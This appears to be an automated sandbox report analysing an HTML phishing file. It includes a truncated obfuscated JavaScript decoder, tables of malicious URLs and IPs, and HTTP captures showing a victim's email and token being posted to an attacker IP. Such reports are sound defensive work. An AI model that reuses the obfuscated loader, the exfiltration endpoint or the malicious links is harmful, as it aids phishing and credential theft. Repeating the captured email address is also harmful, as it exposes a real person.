URL: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Get back into your account", "prominent_button_name": "unknown", "text_input_field_labels": [ "Email or Username:" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Get back into your account", "prominent_button_name": "Next", "text_input_field_labels": [ "Email or Username:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Get back into your account", "prominent_button_name": "Next", "text_input_field_labels": [ "Email or Username:" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Get back into your account", "prominent_button_name": "Next", "text_input_field_labels": [ "Email or Username:" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
154.216.17.193	http://bc1qlpk73pgj3dz02nq8d9kpdxk.org	Get hash	malicious	Unknown	Browse	bc1qlpk73pgj3dz02nq8d9kpdxk.org/
154.216.17.193	November Billing.html	Get hash	malicious	HTMLPhisher	Browse	154.216.17.193/
239.255.255.250	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse
	http://url8004.msimga.com/ls/click?upn=u001.53NcgwDAAzhzVFiwjkq594MAJWCPhEkQColfld-2B8UTVheZTNvS5XHSLoMFMDMKqB8ozH_SekqilKQ-2BHgXRJqfGhzOp5U5QgEa3j9iCU-2B-2FEmLhcgIb8j4-2F70z5BTR3SsHgk6fUAqo-2B4Hk5qOUpxx5ix21Dz7RacjGAlZQG7X9ZmY-2FMz6G3UEXqPfDFnluOo3vFEWoRVVv0USeiaKWrnmFmXbwzEtxKNaPSY-2FlO1e5ZdfV1YqhnRlOqnd6p2D4F2b2ZE6xQpyHLUek-2FYrpkq3KQVjrFQw-3D-3D	Get hash	malicious	Unknown	Browse
	https://fm.blebsions.com/R7tS/	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse
	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://kiesermedicalcorporation.com/mklakdjhfhm/yftguihjo/anRvcnRvcmljaUBiaWdnZS5jb20=	Get hash	malicious	Unknown	Browse
	http://docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse
	http://dva.dgkifyron.ru	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse
	http://93287.mobi	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.63
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://mee6.xyz	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://johnlewisfinance.qa.uinsure.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.63
	Configurator.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://shorturl.at/roHta	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://www.google.com/url?q=https%3A%2F%2Fjollybos.es%2Fwills&sa=D&sntz=1&usg=AOvVaw1qWh2KPHS1VH9DwguQzCFr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	1734537007a22115ccf81804870f6743791426a5c4263cfc792e757756373d12e0d21d0600610.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	13.107.246.63
	7KAYnROp5y.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	xul_patched.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
sni1gl.wpc.omegacdn.net	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://forms.office.com/Pages/ShareFormPage.aspx?id=z5Knz2h3QUOIV4F1TCr6H8l1dBxA_RZAr7lBOGCmz8VURUlLQURGTlFGTEQ0QzdESlFMT1lGUlpRWi4u&sharetoken=rKEHIuU7H8od3T6m0C0Z	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	152.199.21.175
	http://office.yacivt.com/wriEcFSZ	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	152.199.21.175
	Payment_Failure_Notice_Office365_sdf_[53487].html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://t.co/4MnukUbNZX	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://enrollmentportal.borlsfx.com/rwrzvvwfa/d8b09a/?2a6p5=test@test.com	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Yogi Tea Benefits Open Enrollment.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
cdnjs.cloudflare.com	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://fm.blebsions.com/R7tS/	Get hash	malicious	Unknown	Browse	104.17.24.14
	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://vCyA.warmickmak.ru/PrEvJj/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://usemployee-hrdbenefits.com	Get hash	malicious	Unknown	Browse	104.17.24.14
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://golden1-alert.net/online	Get hash	malicious	Unknown	Browse	104.17.25.14
	securedoc_20241217T163143.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://sites.google.com/kula.ai/rdps/home	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Credit Card Authorization Form.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 21:24:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9791399619927885
Encrypted:	false
SSDEEP:	48:8ndZhsT5y2pqHJidAKZdA19ehwiZUklqehLy+3:8nhsl/pYky
MD5:	2BB7F6E005FDDBCA6653958A74D54AD4
SHA1:	1AD33A52CEB04BF6F6A2DABBC93473F27E22B01C
SHA-256:	F323A75FB0A24AB905C5D4E9E0E6185BA58A9E49DF5B368A2A5175EAE8FA43C3
SHA-512:	C61A6B0E74B3CA1D2FFD050A0090DCC693381EA6A650502A284F31DDFE33032A96C1B7BA1E8E235BCAB337E50FCA1E98F1C57828E3CADC2FF05B6B13E56CDF70
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........Q..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............9......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report doc55334.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Windows Analysis Report
doc55334.html

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (1907), with no line terminators
Entropy (8bit):	6.011138394141833
TrID:	HyperText Markup Language (15015/1) 55.58% HyperText Markup Language (12001/1) 44.42%
File name:	doc55334.html
File size:	1'909 bytes
MD5:	bc7dbf2b13d3e3a7b6db498a331d9d66
SHA1:	a9d5419dc93e293dee46b0912b7c392df46a667e
SHA256:	d120701caf6f4cf09e085836a241f2e804dc129a8a8d8a5847c9aed5ccf647b2
SHA512:	64c500403cd64fc9b5b444ad552e4617acb5389a24c0fb248a8d4de2d2bcd9d15d969ad4c00bf9d51334a500a0a9786effb75917f31cd3d15fa01f3d6a2319f7
SSDEEP:	48:RB21CT3vl1CT3JA1CTwP0iqVEclF+FpYFUx2NYFSQJiio1:RB+afaZ0aEalF6poUx2NESao1
TLSH:	7841A851AAE16E59DB0570A628464BDB3E45C245BBCEC49191ADBCDF60F0572CCF2FC0
File Content Preview:	<!DOCTYPE html> <html lang="en"> <head> <script> const _zpCJraoDZZ = _jmaHMwM5dI => _jmaHMwM5dI.split('').reduce((acc, char) => acc + (char === '=' ? char : 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='.charAt(('ABCDEFGHIJKLMNOPQRSTU

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 23:24:06.962730885 CET	53	57206	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:07.017036915 CET	53	64921	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:09.876777887 CET	50287	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:09.877079010 CET	60168	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:10.015707970 CET	53	50287	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:10.015914917 CET	53	60168	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:10.023557901 CET	53	55647	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:10.994616032 CET	56170	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:10.994806051 CET	57448	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:11.134020090 CET	53	56170	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:11.134165049 CET	53	57448	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:11.353627920 CET	53	54315	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:12.405663013 CET	51763	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:12.405836105 CET	50805	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:12.545516968 CET	53	51763	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:12.545526981 CET	53	50805	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:14.262795925 CET	52195	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:14.262795925 CET	65141	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:15.273324013 CET	56548	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:15.273483038 CET	60135	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:15.742583990 CET	53	65141	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:15.742911100 CET	53	60135	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:16.075210094 CET	53	56548	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:16.076584101 CET	53	52195	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:22.160860062 CET	58992	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:22.161015034 CET	55549	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:22.300997972 CET	53	55549	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:22.572464943 CET	53	58992	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:23.171015978 CET	53783	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:23.171235085 CET	60847	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:23.172226906 CET	54076	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:23.172431946 CET	50138	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:23.310091972 CET	53	53783	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:23.581038952 CET	53	60847	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:25.865695000 CET	60950	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:25.865864038 CET	56966	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:27.026597977 CET	53	55835	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:28.450531960 CET	53064	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:28.451021910 CET	53364	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:24:28.590334892 CET	53	53064	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:28.590672016 CET	53	53364	1.1.1.1	192.168.2.5
Dec 18, 2024 23:24:45.826879025 CET	53	53442	1.1.1.1	192.168.2.5
Dec 18, 2024 23:25:06.575390100 CET	53	62901	1.1.1.1	192.168.2.5
Dec 18, 2024 23:25:08.454318047 CET	53	51414	1.1.1.1	192.168.2.5
Dec 18, 2024 23:25:18.147531033 CET	51668	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:18.147690058 CET	58267	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:20.880628109 CET	51266	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:20.880840063 CET	62917	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:21.444940090 CET	57108	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:21.445086002 CET	55379	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:23.813683987 CET	61881	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:23.813829899 CET	58488	53	192.168.2.5	1.1.1.1
Dec 18, 2024 23:25:26.491117001 CET	53	55186	1.1.1.1	192.168.2.5
Dec 18, 2024 23:25:39.475647926 CET	53	55547	1.1.1.1	192.168.2.5
Dec 18, 2024 23:26:24.748512983 CET	53	55054	1.1.1.1	192.168.2.5

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 18, 2024 23:24:15.742996931 CET	192.168.2.5	1.1.1.1	c219	(Port unreachable)	Destination Unreachable
Dec 18, 2024 23:24:23.581091881 CET	192.168.2.5	1.1.1.1	c266	(Port unreachable)	Destination Unreachable
Dec 18, 2024 23:25:18.636300087 CET	192.168.2.5	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 23:24:06.997201920 CET	390	OUT	OPTIONS / HTTP/1.1 Host: 154.216.17.193 Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 18, 2024 23:24:08.406989098 CET	329	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 22:24:08 GMT Server: Apache/2.4.52 (Ubuntu) Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 23:24:07.661608934 CET	390	OUT	OPTIONS / HTTP/1.1 Host: 154.216.17.193 Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 18, 2024 23:24:09.055727959 CET	329	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 22:24:08 GMT Server: Apache/2.4.52 (Ubuntu) Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 23:24:09.058223963 CET	422	OUT	POST / HTTP/1.1 Host: 154.216.17.193 Connection: keep-alive Content-Length: 88 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 7b 22 70 61 72 61 6d 65 74 65 72 22 3a 22 6b 6c 65 76 65 72 40 65 6e 6e 69 73 73 74 61 74 65 62 61 6e 6b 2e 63 6f 6d 22 2c 22 74 6f 6b 65 6e 22 3a 22 33 38 37 30 32 64 30 36 2d 61 61 30 39 2d 34 39 30 36 2d 39 31 32 61 2d 62 31 62 32 63 36 39 61 35 35 66 61 22 7d Data Ascii: {"parameter":"klever@ennisstatebank.com","token":"38702d06-aa09-4906-912a-b1b2c69a55fa"}
Dec 18, 2024 23:24:09.582950115 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 22:24:09 GMT Server: Apache/2.4.52 (Ubuntu) Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4730 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 5a 0b 73 db 46 92 fe 2b 88 94 6c 91 b1 30 c2 3c f0 a2 2c e5 e9 94 73 15 6f b6 d6 8e 73 39 d3 b9 83 80 21 89 08 04 18 00 a4 a4 28 bc df be 5f 0f c0 07 28 41 b2 2b 7b 75 e5 32 38 98 e9 ee e9 e7 37 3d a4 ee 8e aa 3a aa 97 d5 d1 e8 a8 5a c6 b1 ae aa a3 93 a3 39 3e a2 a9 c6 dc cb 37 af 7e b0 e2 22 af 75 5e 5b 89 ce d2 95 2e 75 62 b5 a4 93 65 96 dd 32 30 cc ea 79 06 ea e7 9f 7c fb e3 37 6f 7e f9 c7 0b 8b 26 2e 9e d3 d3 ca a2 7c 7a 3e 3e d2 f9 f8 08 33 3a 4a 2e 9e cf 75 1d 59 f1 2c 2a 2b 5d 63 e9 a7 37 df d9 01 ad 66 69 7e 65 95 3a c3 5c 35 2b ca 3a 5e d6 56 8a dd c7 47 d6 ac d4 13 4c 27 51 1d 8d d2 39 94 1b 9f de d8 b4 76 76 82 d5 fa 76 a1 b1 da 59 20 81 66 a3 59 5d 2f 6c fd fb 32 5d 81 e4 3f ed 9f be b2 bf 29 e6 8b a8 4e 2f 33 0d de d6 3a ac 7d ff e2 5c 27 10 b0 61 cc a3 39 49 5d a5 fa 7a 01 6d 3a b4 d7 69 52 cf ce 13 bd 4a 63 6d 9b 97 93 34 4f eb 34 ca ec 2a 8e 32 7d ce 4f 96 95 2e cd 4b 84 8d ce 1d 12 5b d5 b7 99 be 38 ce 8a 28 49 f3 e9 eb b8 d4 3a bf 5b 14 15 18 8b 7c [TRUNCATED] Data Ascii: ZsF+l0<,sos9!(_(A+{u287=:Z9>7~"u^[.ube20y\|7o~&.\|z>>3:J.uY,+]c7fi~e:\5+:^VGL'Q9vvvY fY]/l2]?)N/3:}\'a9I]zm:iRJcm4O42}O.K[8(I:[\|4IotrVsvYu1 e:e_Mb'v\dE9:L&i<(\g5l+t7Ffz;m,/g3m4/W)=\\$!lHEQvl:_<rrs3bXy~tfmhO-94/G0\|9etCsKZ/@>m{$?zBMhzzFCziUtB0RSzv3l'Y#ZSGi&IZ'7y}rK,TZi>2/DUVCu\|vWQ^Mr>2,/gr{crT(M!Idh&Q9MsJv0%'\mx^Xil?T:4"/@Y\V#r,XHrcWfQ9cHCCjO#(Q#g-8N
Dec 18, 2024 23:24:09.583096981 CET	1236	IN	Data Raw: 13 91 dd eb fa 98 f2 fc 9b 07 b3 ba 71 c5 9e d7 4d 88 d6 c7 7a f2 00 d9 47 79 ec b1 c8 2a de ec 71 c1 b2 76 1b 11 f8 3b 20 ee 6c b0 45 c4 d1 b1 08 a2 40 47 67 0f e4 da c0 e6 ae 5c dc 9c d8 3e 81 8a 55 16 35 4d 8a 20 d1 d3 61 b3 51 f9 31 1b 71 15 Data Ascii: qMzGy*qv; lE@Gg\>U5M aQ1q:g#JOco7\|l"tu"nGLNRMu-FdKb#1ZEG3xDvvq64/.QEECew2ZeXwr:B="x=:
Dec 18, 2024 23:24:09.583113909 CET	1236	IN	Data Raw: ad a2 ab 74 52 ea 24 2d e6 bb 65 b8 25 2d 27 e5 12 82 93 28 9a cc ca 65 29 af 77 cb 93 e5 34 aa 6f 97 42 06 51 92 eb 65 e8 e8 6b 55 ed 96 a7 4b 38 69 e5 e8 2c bd 2a dc 79 94 94 45 25 c2 dd f2 0c 8a 67 92 d7 7a ba 8c aa 4a 95 f5 32 4f a3 dd 32 52 Data Ascii: tR$-e%-'(e)w4oBQekUK8i,*yE%gzJ2O2R@gF+eG_Hq>^EYKXGYi=>od@?MYQs?p[v\oRuHD3JAQ~~u$?Qv\$v2gq.
